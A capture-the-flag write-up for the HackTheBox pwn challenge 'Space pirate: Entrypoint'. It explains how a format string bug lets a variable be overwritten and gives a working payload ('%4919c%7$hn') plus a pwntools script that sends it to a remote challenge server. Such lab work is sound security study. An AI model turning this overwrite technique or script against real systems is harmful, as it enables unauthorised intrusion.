Space pirate: Entrypoint

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

D12 is one of Golden Fang's missile launcher spaceships. Our mission as space pirates is to highjack D12, get inside the control panel room, and access the missile launcher system. To achieve our goal, we split the mission into three parts. In this part, all we need to do is bypass the scanning system and open the gates so that we proceed further.

Solution Approach

Core idea: Stack-Based Exploitation. Exploiting FSB.

Steps

1. First, unzip the .zip file given, then jump to the extracted directory.

2. Check the file type.

3. Check the binary's protection.

4. All protection's enabled.

5. Hmmm.. let us run the file in gdb.

6. Let us decompile the binary using ghidra.

7. It looks like we can utilize format string vulnerability here.

8. If the local_48 value is eq to 0xdead1337, then the program will execute the open_door() function.

OPEN_DOOR -> a function that will give us the flag

1. However, the local_48 value is 0xdeadbeef not 0xdead1337.

2. Remember that the local_40 saves the address of local_48.

3. Hence, we can utilize format string vuln to overwrite the first 2 bytes of local_48 value.

4. Now run, the binary, choose option 1, then input 8 %p.

5. Based on the output, we know that 0xdeadbeef is at offset 6 and 0xdead1337 is at offset 7.

6. Get the decimals value of 0x1337 -> 4919.

7. Means the input shall look like this -> %4919c%7$hn.

8. To make it clear:

"%" indicates the start of a format specifier in a format string.
"4919" decimal value of 0x1337.
"c" is a conversion specifier that indicates the value to be printed as a character.
"%7$" is a positional specifier that specifies the argument index to be printed. In this case, it refers to the seventh argument.
"hn" is a length modifier that specifies that the argument should be interpreted as a short integer and printed as a halfword (2 bytes) in a specific format.

1. To get the flag, actually u don't need to make the script, but i just want to make it 😁

THE SCRIPT

from pwn import *
import os

os.system('clear')
context.log_level = 'debug'
sh = remote('142.93.37.215', 30803)
sh.recvuntil("> ")
sh.sendline(b'1')
sh.recvuntil(": ")
A = b'%4919c%7$hn'
sh.sendline(A)
sh.interactive()

OUTPUT

1. Got the flag!

Flag

REDACTED

Lessons Learned

1. Stack-Based Exploitation.
2. Exploiting FSB.
3. Utilizing FSB to overwrite local variable.